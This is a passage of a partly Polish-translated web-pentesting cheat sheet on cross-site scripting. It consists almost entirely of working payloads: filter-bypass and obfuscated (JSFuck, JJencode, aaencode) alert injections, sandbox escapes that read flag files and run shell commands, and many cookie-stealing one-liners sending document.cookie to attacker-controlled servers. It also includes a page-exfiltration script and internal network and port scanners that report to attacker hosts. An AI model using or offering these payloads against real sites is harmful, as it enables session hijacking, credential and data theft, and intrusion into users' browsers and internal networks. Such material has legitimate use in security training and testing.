onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Dowolne wywołanie funkcji (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using danych kontrolowanych przez atakującego w niebezpieczny sposób like location.href . An attacker, could abuse this to execute arbitrary JS code.
Z powodu rozbudowania wyjaśnienia DOM vulnerabilities it was moved to this page:

DOM XSS

Znajdziesz tam szczegółowe wyjaśnienie czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować.
Nie zapomnij też, że na końcu wspomnianego wpisu znajdziesz wyjaśnienie dotyczące DOM Clobbering attacks.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Wysłanie swojej sesji do administratora

Może użytkownik udostępnić swój profil administratorowi, a jeśli self XSS znajduje się w profilu użytkownika i administrator go otworzy, uruchomi podatność.

Session Mirroring

Jeśli znajdziesz self XSS, a strona ma session mirroring for administrators, na przykład umożliwiające klientom prośbę o pomoc i w celu udzielenia pomocy administrator widzi to, co widzisz w swojej sesji, ale z jego sesji.

Możesz sprawić, że administrator uruchomi Twój self XSS i ukraść jego cookies/sesję.

Other Bypasses

Normalised Unicode

Możesz sprawdzić, czy reflected valuesunicode normalized po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Z powodu RoR mass assignment cudzysłowy są wstawiane do HTML, a ograniczenie dotyczące cudzysłowów zostaje ominięte i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.
Przykład formularza (from this report), jeśli wyślesz payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Para "Key","Value" zostanie wyświetlona w następujący sposób:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.

Specjalne kombinacje

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS z wstrzyknięciem nagłówka w odpowiedzi 302

Jeśli odkryjesz, że możesz inject headers in a 302 Redirect response możesz spróbować make the browser execute arbitrary JavaScript. To nie jest trywialne, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi to 302, więc samo cross-site scripting payload jest bezużyteczne.

W this report i w this one możesz przeczytać, jak przetestować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na przejrzenie i wykonanie XSS payload wewnątrz ciała odpowiedzi.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Tylko litery, cyfry i kropki

Jeśli możesz wskazać callback, który javascript ma wykonać, ograniczony do tych znaków. Read this section of this post aby dowiedzieć się, jak nadużyć tego zachowania.

Valid <script> Content-Types to XSS

(From here) Jeśli spróbujesz załadować skrypt z content-type takim jak application/octet-stream, Chrome wyrzuci następujący błąd:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Typy skryptów do XSS

(Na podstawie here) Które typy można wskazać, aby załadować skrypt?

html
<script type="???"></script>

Odpowiedź to:

  • module (domyślny, nic do wyjaśnienia)
  • webbundle: Web Bundles to funkcja, która pozwala zapakować wiele danych (HTML, CSS, JS…) w jeden plik .wbn.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Pozwala ulepszyć składnię importu
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

To zachowanie zostało użyte w this writeup aby przypisać bibliotekę do eval; nadużycie tego może wywołać XSS.

  • speculationrules: Ta funkcja ma na celu przede wszystkim rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types umożliwiające XSS

(From here) Następujące content types mogą wykonać XSS we wszystkich przeglądarkach:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

W innych przeglądarkach inne Content-Types mogą być użyte do wykonania dowolnego JS, sprawdź: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specjalne wzorce zastępowania

Gdy używane jest coś takiego jak "some {{template}} data".replace("{{template}}", <user_input>), atakujący może użyć special string replacements żeby spróbować obejść niektóre zabezpieczenia: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na przykład w this writeup, użyto tego do ucieczki z ograniczeń ciągu JSON umieszczonego wewnątrz skryptu i wykonania dowolnego kodu.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Jeśli wszystko jest undefined przed wykonaniem niezaufanego kodu (jak w this writeup), możliwe jest wygenerowanie przydatnych obiektów "z niczego", aby wykorzystać wykonanie dowolnego niezaufanego kodu:

  • Używając import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pośredni dostęp do require

According to this moduły są opakowywane przez Node.js w funkcję, w następujący sposób:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Dlatego, jeśli z tego modułu możemy wywołać inną funkcję, możliwe jest użycie arguments.callee.caller.arguments[1] z tej funkcji, aby uzyskać dostęp do require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Podobnie jak w poprzednim przykładzie, można use error handlers w celu uzyskania dostępu do wrapper modułu i zdobycia funkcji require:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Several payloads in 1

Steal Info JS

Iframe Trap

Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytuj jego działania (w tym informacje wysyłane w formularzach):

Iframe Traps

Pobierz Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz kilka sposobów na obejście tej ochrony, jeśli będziesz miał szczęście.

Kradzież zawartości strony

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Znajdź wewnętrzne adresy IP

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Krótkie czasy wskazują na odpowiadający port Dłuższe czasy wskazują brak odpowiedzi.

Przejrzyj listę ports zablokowanych w Chrome here i w Firefox here.

Pole do żądania credentials

html
